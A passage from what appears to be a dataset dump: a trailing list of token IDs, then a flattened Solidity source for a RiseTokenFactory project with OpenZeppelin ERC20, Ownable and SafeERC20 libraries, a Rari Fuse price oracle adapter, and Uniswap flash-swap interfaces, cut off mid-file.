273,
1728,
636,
2643,
31,
203,
203,
565,
2254,
5034,
1071,
2395,
80,
7008,
8471,
6837,
31,
203,
203,
565,
2874,
261,
2867,
516,
2254,
5034,
13,
2713,
389,
2074,
9379,
38,
26488,
31,
203,
203,
565,
2874,
261,
2867,
516,
2874,
261,
2867,
516,
2254,
5034,
3719,
2713,
389,
8151,
27588,
31,
203,
203,
565,
2254,
5034,
1071,
1208,
3088,
1283,
31,
203,
203,
97,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// Verified using https://dapp.tools
// hevm: flattened sources of src/RiseTokenFactory.sol
// SPDX-License-Identifier: MIT AND GPL-3.0-or-later
pragma solidity =0.8.11 >=0.8.0 <0.9.0 >=0.8.1 <0.9.0;
pragma experimental ABIEncoderV2;
////// lib/openzeppelin-contracts/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/* pragma solidity ^0.8.0; */
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
////// lib/openzeppelin-contracts/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/* pragma solidity ^0.8.0; */
/* import "../utils/Context.sol"; */
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
////// lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
/* pragma solidity ^0.8.0; */
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
////// lib/openzeppelin-contracts/contracts/token/ERC20/extensions/IERC20Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)
/* pragma solidity ^0.8.0; */
/* import "../IERC20.sol"; */
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
////// lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/ERC20.sol)
/* pragma solidity ^0.8.0; */
/* import "./IERC20.sol"; */
/* import "./extensions/IERC20Metadata.sol"; */
/* import "../../utils/Context.sol"; */
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin Contracts guidelines: functions revert
* instead returning `false` on failure. This behavior is nonetheless
* conventional and does not conflict with the expectations of ERC20
* applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
* `transferFrom`. This is semantically equivalent to an infinite approval.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* NOTE: Does not update the allowance if the current allowance
* is the maximum `uint256`.
*
* Requirements:
*
* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, _allowances[owner][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = _allowances[owner][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Spend `amount` form the allowance of `owner` toward `spender`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
////// lib/openzeppelin-contracts/contracts/utils/Address.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
/* pragma solidity ^0.8.1; */
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
////// lib/openzeppelin-contracts/contracts/token/ERC20/utils/SafeERC20.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol)
/* pragma solidity ^0.8.0; */
/* import "../IERC20.sol"; */
/* import "../../../utils/Address.sol"; */
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
////// src/interfaces/IRariFusePriceOracle.sol
/* pragma solidity 0.8.11; */
/* pragma experimental ABIEncoderV2; */
/**
* @title Rari Fuse Price Oracle Interface
* @author bayu <[email protected]> <https://github.com/pyk>
*/
interface IRariFusePriceOracle {
/**
* @notice Gets the price in ETH of `_token`
* @param _token ERC20 token address
* @return _price Price in 1e18 precision
*/
function price(address _token) external view returns (uint256 _price);
}
////// src/interfaces/IRariFusePriceOracleAdapter.sol
/* pragma solidity 0.8.11; */
/* pragma experimental ABIEncoderV2; */
/* import { IRariFusePriceOracle } from "./IRariFusePriceOracle.sol"; */
/**
* @title Rari Fuse Price Oracle Adapter
* @author bayu <[email protected]> <https://github.com/pyk>
* @notice Adapter for Rari Fuse Price Oracle
*/
interface IRariFusePriceOracleAdapter {
/// โโโ Types โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
/**
* @notice Oracle metadata
* @param oracle The Rari Fuse oracle
* @param decimals The token decimals
*/
struct OracleMetadata {
IRariFusePriceOracle oracle;
uint8 decimals;
}
/// โโโ Events โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
/**
* @notice Event emitted when oracle data is updated
* @param token The ERC20 address
* @param metadata The oracle metadata
*/
event OracleConfigured(
address token,
OracleMetadata metadata
);
/// โโโ Errors โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
/// @notice Error is raised when base or quote token oracle is not exists
error OracleNotExists(address token);
/// โโโ Owner actions โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
/**
* @notice Configure oracle for token
* @param _token The ERC20 token
* @param _rariFusePriceOracle Contract that conform IRariFusePriceOracle interface
*/
function configure(
address _token,
address _rariFusePriceOracle
) external;
/// โโโ Read-only functions โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
/**
* @notice Returns true if oracle for the `_token` is configured
* @param _token The token address
*/
function isConfigured(address _token) external view returns (bool);
/// โโโ Adapters โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
/**
* @notice Gets the price of `_token` in terms of ETH (1e18 precision)
* @param _token Token address (e.g. gOHM)
* @return _price Price in ETH (1e18 precision)
*/
function price(address _token) external view returns (uint256 _price);
/**
* @notice Gets the price of `_base` in terms of `_quote`.
* For example gOHM/USDC will return current price of gOHM in USDC.
* (1e6 precision)
* @param _base Base token address (e.g. gOHM/XXX)
* @param _quote Quote token address (e.g. XXX/USDC)
* @return _price Price in quote decimals precision (e.g. USDC is 1e6)
*/
function price(
address _base,
address _quote
) external view returns (uint256 _price);
}
////// src/adapters/RariFusePriceOracleAdapter.sol
/* pragma solidity 0.8.11; */
/* pragma experimental ABIEncoderV2; */
/* import { Ownable } from "lib/openzeppelin-contracts/contracts/access/Ownable.sol"; */
/* import { IERC20Metadata } from "lib/openzeppelin-contracts/contracts/token/ERC20/extensions/IERC20Metadata.sol"; */
/* import { IRariFusePriceOracleAdapter } from "../interfaces/IRariFusePriceOracleAdapter.sol"; */
/* import { IRariFusePriceOracle } from "../interfaces/IRariFusePriceOracle.sol"; */
/**
* @title Rari Fuse Price Oracle Adapter
* @author bayu <[email protected]> <https://github.com/pyk>
* @notice Adapter for Rari Fuse Price Oracle
*/
contract RariFusePriceOracleAdapter is IRariFusePriceOracleAdapter, Ownable {
/// โโโ Storages โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
/// @notice Map token to Rari Fuse Price oracle contract
mapping(address => OracleMetadata) public oracles;
/// โโโ Owner actions โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
/// @inheritdoc IRariFusePriceOracleAdapter
function configure(address _token, address _rariFusePriceOracle) external onlyOwner {
oracles[_token] = OracleMetadata({
oracle: IRariFusePriceOracle(_rariFusePriceOracle),
decimals: IERC20Metadata(_token).decimals()
});
emit OracleConfigured(_token, oracles[_token]);
}
/// โโโ Read-only functions โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
/// @inheritdoc IRariFusePriceOracleAdapter
function isConfigured(address _token) external view returns (bool) {
if (oracles[_token].decimals == 0) return false;
return true;
}
/// โโโ Adapters โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
/// @inheritdoc IRariFusePriceOracleAdapter
function price(address _token) public view returns (uint256 _price) {
if (oracles[_token].decimals == 0) revert OracleNotExists(_token);
_price = oracles[_token].oracle.price(_token);
}
/// @inheritdoc IRariFusePriceOracleAdapter
function price(address _base, address _quote) external view returns (uint256 _price) {
uint256 basePriceInETH = price(_base);
uint256 quotePriceInETH = price(_quote);
uint256 priceInETH = (basePriceInETH * 1e18) / quotePriceInETH;
_price = (priceInETH * (10**oracles[_quote].decimals)) / 1e18;
}
}
////// src/interfaces/IUniswapAdapterCaller.sol
/* pragma solidity 0.8.11; */
/* pragma experimental ABIEncoderV2; */
/**
* @title Uniswap Adapter Caller Interface
* @author bayu (github.com/pyk)
* @notice Contract that interact with Uniswap Adapter should implement this interface.
*/
interface IUniswapAdapterCaller {
/**
* @notice Function that will be executed by Uniswap Adapter to finish the flash swap.
* The caller will receive _amountOut of the specified tokenOut.
* @param _wethAmount The amount of WETH that the caller need to send back to the Uniswap Adapter
* @param _amountOut The amount of of tokenOut transfered to the caller.
* @param _data Data passed by the caller.
*/
function onFlashSwapWETHForExactTokens(uint256 _wethAmount, uint256 _amountOut, bytes calldata _data) external;
}
////// src/interfaces/IUniswapV2Pair.sol
/* pragma solidity 0.8.11; */
/* pragma experimental ABIEncoderV2; */
/**
* @title Uniswap V2 Pair Interface
* @author bayu (github.com/pyk)
*/
interface IUniswapV2Pair {
function token1() external view returns (address);
function token0() external view returns (address);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
}
////// src/interfaces/IUniswapV3Pool.sol
/* pragma solidity 0.8.11; */
/* pragma experimental ABIEncoderV2; */
/**
* @title Uniswap V3 Pool Interface
* @author bayu <[email protected]> <https://github.com/pyk>
*/
interface IUniswapV3Pool {
/// @notice Docs: https://docs.uniswap.org/protocol/reference/core/UniswapV3Pool#swap
function swap(address _recipient, bool _zeroForOne, int256 _amountSpecified, uint160 _sqrtPriceLimitX96, bytes memory _data) external returns (int256 amount0, int256 amount1);
function token0() external view returns (address);
function token1() external view returns (address);
function fee() external view returns (uint24);
}
////// src/interfaces/IUniswapAdapter.sol
/* pragma solidity 0.8.11; */
/* pragma experimental ABIEncoderV2; */
/* import { IERC20 } from "lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol"; */
/* import { IUniswapV2Pair } from "../interfaces/IUniswapV2Pair.sol"; */
